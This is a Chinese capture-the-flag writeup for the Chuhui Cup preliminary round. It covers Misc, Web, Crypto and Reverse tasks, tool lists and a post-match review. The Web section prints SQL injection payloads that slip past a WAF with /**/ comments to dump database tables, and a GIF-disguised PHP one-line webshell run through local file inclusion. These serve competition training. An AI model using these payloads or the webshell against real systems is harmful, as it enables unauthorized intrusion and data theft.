ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

楚慧杯初赛Writeup:从SQL注入绕WAF到RSA共模攻击的实战复盘

楚慧杯初赛Writeup:从SQL注入绕WAF到RSA共模攻击的实战复盘 第十届楚慧杯初赛结束那一刻我们队的共享文档里躺着19道题的截图和6个还没试完的payload。湖北省网络与数据安全实践能力竞赛的线上赛跟往年一样坑不少送分题也不少整体做下来比较顺手但最后复盘时发现有些分确实是硬生生浪掉的。这篇Writeup我按赛前—开局扫分—Web攻坚—Crypto与Reverse—赛后复盘的顺序来写把每道题的关键思路、实际执行的命令和踩坑点都留下来给马上要参加下一届的兄弟们做个参考。1. 赛制与备赛线上解题赛的正确打开方式1.1 本届赛制与题型分布楚慧杯的初赛一直是标准线上CTF解题赛今年也不例外。比赛时间安排在周六的9:00到21:00一共12个小时平台按难度给每道题赋分总分1000分。题型就是最常见的五个方向Web、Pwn、Reverse、Crypto、Misc其中Misc和Web的题量占了大头Pwn只有一道堆题分值还特别高。这种配置其实很考验队伍的分布策略因为如果你队伍里没有人系统打过Pwn那道题就算挂着500分的牌子也只能看着。今年初赛的整体难度比第九届有明显提升最直观的感受是Web题不再是简单扫一下目录、改个参数就能拿flag而是真的在过滤和WAF层面做了文章。Misc题也有变化往年纯考工具命令的题少了一些多了一两道需要结合题目描述去猜思路的脑洞题。Crypto和Reverse相对常规RSA、异或校验、简单加密这些老面孔都在但出题人加了一些小改动比如把常见脚本的输入输出格式改掉让你不能直接抄网上现成的exp。1.2 团队的三人分工与工具清单我们队三个人分工比较固定我负责Web和Misc队友A负责Reverse和Pwn队友B负责Crypto和部分Misc取证。这个分工在比赛前两周就定下来了不是临时拍脑袋。因为楚慧杯初赛题目量不小如果不提前划分方向比赛一开始三个人全挤到Web题上Crypto和Reverse没人看后面就会很被动。工具准备这块我们赛前统一整理过一份清单照着检查环境方向主要工具用途WebBurp Suite 2026.x、Yakit、ffuf、sqlmap抓包改包、目录扫描、注入测试MiscWireshark、tshark、Stegsolve、binwalk、zsteg流量分析、图片隐写、文件提取CryptoPython3、PyCryptodome、CyberChef、SageMathRSA攻击脚本、编码解码、格密码计算ReverseIDA Pro、Ghidra、x64dbg静态分析、动态调试这里要提醒一下比赛前一定要开一次模拟赛确认团队里的工具确实能跑起来而不是装了但没跑过。我们今年就吃过这个亏Burp Suite里的某个插件和比赛AltLink环境之间出现了兼容性问题导致我前半个小时一直在处理抓不到包的问题后面才换回默认配置。工具链的稳定性在限时赛里和战力直接挂钩千万不能忽略。1.3 开赛前必须确认的三件事第一flag格式。楚慧杯官方规则里写的提交格式是flag{...}但今年有一道Misc题返回的是不带花括号的十六进制串直接用官方格式提交永远报错必须把它包一层flag{}才行。这种细节不提前确认现场就会浪费好几次错误提交次数。第二平台的提交规则。有的题支持多次提交flag有的题一天只能提交三次提交错了会锁死。我们队开赛后才发现有一道Reverse题的提交次数被我们自己耗光了最后只能截图证据走申诉通道折腾了快四十分钟。第三比赛当天上午先把所有题目的附件都下载一遍。别觉得这是废话今年有一道Web题的平台容器在上午十点崩过一次期间下载附件一直报错等修好已经过去了二十分钟。提前批量下载是成本最低的保险操作。2. 开局扫分签到与Misc题的肌肉记忆2.1 签到题的flag藏在哪每年楚慧杯第一道题基本都是签到题今年也不例外。题目是一个简单的H5页面页面正中间有一个输入框提示输入队伍名称获取flag。我第一次访问时还老老实实输入了队名结果回显一堆乱码愣是看了半分钟没找到flag在哪。后来养成习惯的动作救了我按F12打开开发者工具。源码里除了表单代码还有一个被注释掉的!-- flag{xxxx-xxxx-it-is-not-that-easy} --紧接着我又看了一眼HTTP响应头发现自定义的X-Flag字段里也有同样的内容。这道题考察的不是技术而是选手面对一个简单页面时的信息收集习惯——先看源码、再看请求头、最后才动手交互。这类签到题在CTF里被戏称为扫码送分题但我见过不少第一次打比赛的人在这里卡超过五分钟。原因是他们太信任页面本身总觉得flag会提示在输入框的回显里忽略了前端代码、响应头、JS文件这些隐藏角落。建议新手从一开始就打起十二分精神碰到任何题目都把看源码、抓包、翻响应头作为默认的起手式肌肉记忆建立起来之后签到题真的就是半分钟的事。2.2 流量包里翻出flagWireshark实战第二道Misc题给了一个capture.pcapng题目描述非常平淡某管理员登录后台系统的流量包请找到管理员留下的flag。当时我们队B同学用Wireshark打开第一反应是看HTTP流量因为Web登录场景大概率走HTTP协议。实际操作是先过滤HTTP请求看看有没有可疑的POST提交。命令行里用tshark处理比图形界面更快tshark -r capture.pcapng -Y http.request.methodPOST -T fields -e http.host -e http.request.uri -e http.file_data过滤结果里有两次POST一次指向/login.php另一次指向/upload.php。登录请求的file_data字段是一串base64编码的数据拖到CyberChef里用From Base64解码得到的是admin:pssw0rd单纯的登录凭据没有flag。重点在第二个POST也就是/upload.php它的file_data里有一个压缩包文件名flag.zip从HTTP响应里能看到服务器返回了一段包含zip文件内容的二进制数据。接下来就是常规操作在Wireshark里用导出HTTP对象把响应体保存成flag.zip解压需要密码。回到第一个POST在那条HTTP流的响应头里有一个X-Password: 2026chubei用这个密码成功解压出flag.txt。整个链路其实很简单但有一个地方容易疏忽——/upload.php的POST是分段上传Wireshark默认显示的file_data有可能不完整必须追踪完整TCP流才能导出完整zip文件。我们一开始就差点导出个损坏的压缩包卡了好几分钟才反应过来要Follow TCP Stream。2.3 图片隐写与压缩包伪加密的快速处理Misc题里除了流量分析图片隐写也是老朋友了。今年有两道图片题一道是经典的PNG尾部附加zip另一道是LSB隐写。PNG那道题做法非常机械。先用binwalk -e challenge.png自动提取结果在_challenge.png.extracted目录下拿到一个flag.zip。尝试解压时提示有加密但我用binwalk、foremost扫了半天也没在图片里发现额外的密码信息。后来我在本地环境换了个思路——用ZipCenOp.jar检测发现这其实是伪加密也就是zip的加密标志位被置位了但实际并没有加密数据。执行java -jar ZipCenOp.jar r flag.zip修复以后直接解压就出flag了。这里给还没接触过伪加密的选手补充一句伪加密是Misc最容易在几分钟内解决的问题难的是你能不能想到去修标志位。如果压缩包解压时提示密码错误先用binwalk检查包里有没有其他隐藏注释再用ZipCenOp这类工具看一眼是不是伪加密比闷头跑字典快多了。LSB那道题更简单用Stegsolve逐通道查看RGB最低位能在Red plane 0上看到一行可读字符稍微处理一下就是flag。说实话这类题现在已经很少当成中等难度出了但每年都会保留一两道目的就是考察工具熟练度。我的建议是直接记命令zsteg -a challenge.png一条指令能把常见位平面的隐写全部扫一遍比手动点Stegsolve高效得多。Misc方向想拿高分本质就是你见过多少种藏法、手头有多少个工具临场查命令永远是最亏的。3. Web题从SQL注入绕WAF到文件上传getshell3.1 SQL注入题目空格与关键字被过滤之后怎么办每年楚慧杯的Web题目录里SQL注入都是稳坐C位的今年这道题更是把过滤玩出了新花样。题目是一个图书管理系统的搜索功能POST参数keyword存在注入点。我前两个基础测试都很顺利1 and 11-- -有结果1 and 12-- -无结果可以确认是字符型注入。接下来问题就来了当我尝试order by判断字段数时页面直接返回了安全狗拦截提示。仔细测了一下过滤规则是空格、and、or这三个关键词被干掉大小写混合和简单双写都过不去。空格过滤最烦人因为常规的order by、union select全都依赖空格分隔关键字。实际绕过方案是用/**/代替空格。MySQL里注释符/**/在SQL解析时会被当作一个空白分隔符不会改变语句语义但又能躲过把空格替换为空的正则过滤。于是payload改成keyword1/**/UNION/**/SELECT/**/1,2,group_concat(table_name)/**/FROM/**/information_schema.tables/**/WHERE/**/table_schemadatabase()--一次拿库里的所有表名其中有一个flag_table。继续用UNION查出flag字段keyword1/**/UNION/**/SELECT/**/1,2,flag/**/FROM/**/flag_table--直接出了flag。整个过程没有用到and和or所以那两条过滤规则完全没触发。如果你遇到的是报错注入场景还可以用extractvalue加速keyword1/**/AND/**/extractvalue(1,concat(0x7e,(select/**/group_concat(flag)/**/from/**/flag_table),0x7e))--但注意这个payload里还是带了and在本题会被拦我是绕到后面才发现可以完全避开它。这道题给我的最大感受是现在Web题不会再让你拿着sqlmap一路梭哈过去你必须理解过滤规则的本质。拿空格被过滤这件事来说能代替空格的字符不止/**/还有%0a、%09、反引号包裹某些关键字等。平时练习时多积累这些为什么能绕的底层原理上了考场才能根据报错信息现场换姿势。3.2 文件上传加本地文件包含一句话木马的落地问题第二道Web题是今年我最喜欢的一道因为它不考花哨的绕过考的是链路完整性。题目有一个头像上传点明确限制了只能传jpg和png同时首页有一个index.php?pagexxx的文件包含点一开始访问index.php?pageabout.php能正常显示。解题的第一步是上传图片马。构造一个最小的GIF图片马GIF89a ?php eval($_POST[x]); ?文件名命名为shell.gif后缀完全合法上传成功。但这里有个细节如果题目检查了Content-Type你需要抓包把上传时的Content-Type: image/gif改掉服务端才会认。有些题还会校验文件头所以图片马保留GIF89a这个魔数是很重要的习惯。第二步就是利用文件包含点执行木马。访问index.php?pageuploads/shell.gifPHP会把gif文件内容当作PHP脚本解析因为文件内容里包含了?php ... ?标签一句话木马就被执行了。这里不需要改后缀、不需要双写扩展名文件包含天然绕过了只能上传图片的限制。接下来用中国蚁剑连接URL填http://target/index.php?pageuploads/shell.gif连接密码为x。连上之后在根目录找到了/flag.txt读取提交完事。整道题如果跳过了文件包含会解析图片里的PHP代码这一步后面完全没法做一旦想通了也就十分钟的事。3.3 Web方向踩坑最快的三个细节Web题今年一共7道我们队最终拿下了5道丢分的地方基本可以归为三类。第一遇到反序列化或组件漏洞题时不要一上来就花大量时间找现成利用链。今年有一道fastjson题我第一反应是直接搜网上的利用payload结果平台把反弹shell地址过滤了浪费了一个小时。后来发现这道题只要在默认配置下传入特定恶意键就能触发报错回显完全不用起一个完整的外连服务。问题出在我一开始思路就偏了没有先看题目给的Java版本配置。第二注意WAF拦截特征与目标系统本身的报错信息混淆。有些题目平台会做一层通用防护它的拦截页面和Web应用自己的非法输入提示非常像。如果不仔细看响应头容易以为自己绕成功的payload其实根本没到业务层。我们在SQL注入题上就出现过这种情况前期浪费了不少提交次数在无效 payload 上面。第三Web题的做法往往不是独立的。文件上传那题如果只盯着上传点做会发现后缀过滤严格得离谱一旦结合文件包含点思路才真正打开。建议打完一道题后立刻更新团队共享文档把前置条件关键利用链最终flag记下来避免队友在相似题目上重复踩坑。4. Crypto与Reverse慢题也有快解法4.1 RSA共模攻击的识别与脚本实现Crypto题里RSA是绝对的主力今年也不例外但这次考的是共模攻击。题目给了task.py和out.txt打开一看很典型同一份明文m用两个不同的加密指数e165537和e265539分别加密n保持不变输出两组c1和c2。共模攻击的识别特征就一句话同一个n两个不同的e对应的c可以同时拿到。数学原理是扩展欧几里得算法因为gcd(e1,e2)1一定存在整数s1、s2让等式e1*s1 e2*s2 1成立。然后通过模幂运算把明文还原from Crypto.Util.number import long_to_bytes from math import gcd # 从 out.txt 中读取 n 0x... e1 65537 e2 65539 c1 0x... c2 0x... def egcd(a, b): if b 0: return (a, 1, 0) g, x, y egcd(b, a % b) return (g, y, x - (a // b) * y) _, s1, s2 egcd(e1, e2) if s1 0: c1 pow(c1, -1, n) s1 -s1 if s2 0: c2 pow(c2, -1, n) s2 -s2 m (pow(c1, s1, n) * pow(c2, s2, n)) % n print(long_to_bytes(m))脚本里的重点在负数系数的处理扩展欧几里得求出的s1或s2可能是负数负指数对应模逆运算需要用pow(c, -1, n)或者自己写一个扩展欧几里得求逆。这里如果直接跑pow(c1, s1, n)会报错很多新手就是卡在这个细节上。这道题本身不难但值得多说一句拿到RSA题先别急着贴脚本先看题目给了哪些量。给了两组不同的e、相同的n优先往共模攻击想给了特别小的e考虑低加密指数爆破给了两个接近的p和q考虑费马分解。思路对了解题时间能压缩到五分钟以内。4.2 逆向题从main函数定位flag校验逻辑Reverse题今年只有三道我们做出来两道。简单那道是个Linux下的ELF文件check运行后要求输入一串字符输入正确就输出you are right否则输出wrong。用IDA Pro打开直接定位到main函数发现里面调用了一个check_flag函数。函数逻辑很直白把用户输入逐字节和0x66异或然后和一个固定长度的字符串比较。这意味着正确的输入就是那段固定字符串逐字节异或0x66的结果。我的做法是用IDAPython提取比较用的密文然后本地跑脚本enc [0x22, 0x24, 0x32, 0x1e, 0x36, 0x63, 0x31, 0x26, 0x22, 0x67, 0x37, 0x35, 0x27, 0x63, 0x34, 0x36, 0x63, 0x67, 0x38, 0x38, 0x33, 0x31] flag .join(chr(x ^ 0x66) for x in enc) print(flag)跑出来直接就是flag。这类题考的核心是你能不能快速定位关键比较逻辑说白了就是熟练使用IDA F5。这里有一个小技巧如果程序是动态链接的往往能看到strcmp、memcmp这类函数直接在交叉引用里点进去通常就离flag不远了。如果静态分析不够直观还可以用x64dbg或gdb在比较函数处下断点运行时直接看寄存器里的字符串。但我们比赛的平台禁用了动态调试输出所以我优先用静态脚本。其实很多CTF逆向题在动态调试受限时反而逼着你更仔细地看汇编这对提升读汇编能力是好事。4.3 一道Crypto卡了40分钟的反思每一场CTF总有一道题让人又爱又恨今年让我恨的是那道LFSR线性反馈移位寄存器的流密码题。给了一个Python脚本脚本里对一段明文做了加密但加密的细节里有一个看似随机的序列生成过程。我一开始把它当成普通的一次一密乱猜在模运算里折腾了二十多分钟完全没往LFSR上想。后来回头仔细读脚本发现了两个关键点第一个是脚本里直接写了生成多项式的十六进制表示0x80000057第二个是密文长度和明文长度一样而且提示里出现了Fibonacci LFSR这个词。到这一步我才意识到必须要用线性反馈移位寄存器的知识去恢复初始状态。解决思路其实不复杂给定了LFSR的反馈多项式和足够长的密钥流比特就可以联立方程解出初始状态或者直接用Berlekamp-Massey算法得到最低阶线性递推关系。比赛时我临时写了一段恢复状态的小脚本验证通过后解出明文最终拿到了flag。这道题的复盘价值在于识别算法类型才是Crypto题的关键。卡住的时候不要急着换工具先回去把题目脚本的算法结构读懂看它是分组密码、流密码、公钥密码还是哈希构造再决定用哪个方向的攻击手段。我浪费的40分钟完全是因为没有先做算法识别这一步。5. 赛后复盘得分分布、失分原因与下届调整5.1 本轮得分分布与时间开销初赛结束后我们简单统计了一下各方向得分和时间投入数据贴在下面方向题量完成数量大致得分时间投入Misc65约2401.5小时Web75约2703.5小时Crypto43约2102.8小时Reverse32约1602.2小时Pwn1000.5小时总分在900分上下排名具体多少就不说了反正顺利进了决赛圈。但看到这个表格就明白真正拉开差距的其实是Pwn那道500分的堆题我们队完全没人碰过这种题目连尝试的欲望都很弱。这已经不是临场发挥的问题而是训练方向出现了盲区。复盘时间开销的时候还发现一个反常现象Crypto四道题只完成了三道但时间投入却接近三小时原因就是那40分钟的LFSR卡壳。如果一开始就识别出算法类型这部分时间至少能省掉半小时。省下来的时间足够让Web方向多试一道题也许最终得分还能再往上走一点。5.2 三个最值得改的备赛习惯第一队伍里必须有人把Pwn方向补起来哪怕只学基础的栈溢出和格式化字符串也行。今年Pwn只出一道题可以战略性放弃但决赛环节如果还是综合对抗模式没有Pwn能力会很吃亏。我们队决定从下个月开始固定安排一个晚上学pwn题至少把堆利用以前的基础打牢。第二建立算法识别速查表。把常见的Crypto题型、攻击方法和识别特征写成一份文档例如RSA常见攻击、分组密码模式、LFSR判定、椭圆曲线参数等。比赛时看到题目脚本先查表定位算法类型再决定攻击方向。这次LFSR的教训让我深刻意识到这一步的价值。第三规范团队协作的信息流。我们开赛时用共享文档记录题目进度但中间有一段时间信息更新不及时导致两个人在同一道Web题上重复测试。下一届赛前一定要约定好任何人拿到flag先提交并立即在文档里标记任何人开始做新题先把题目链接、附件路径、已尝试的payload写清楚减少无效重复劳动。5.3 赛后随手写的一点体会这次初赛打完最大的感触是CTF考的不只是知识量更是状态管理。12个小时的赛程里前一个小时大家精力充沛到第六个小时明显能感觉到脑子转得慢了阅读题目信息时开始跳行payload也容易出现低级笔误。我个人的经验是中场休息时不要一直盯着屏幕起来走动一下看看窗外让眼睛和大脑同时放松十分钟回来之后效率会明显回升。另外提交flag之前一定要冷静核对一遍格式。今年我们队因为粗心提交错了好几次虽然平台没有严格的次数限制但每次错误提交都会带来心理上的急躁感特别影响后面的判断。比赛比的不是谁最快提交而是谁能在自己最清醒的时刻做出最准确的决策。这句话听起来像鸡汤但在CTF里是真真切切的教训。
返回列表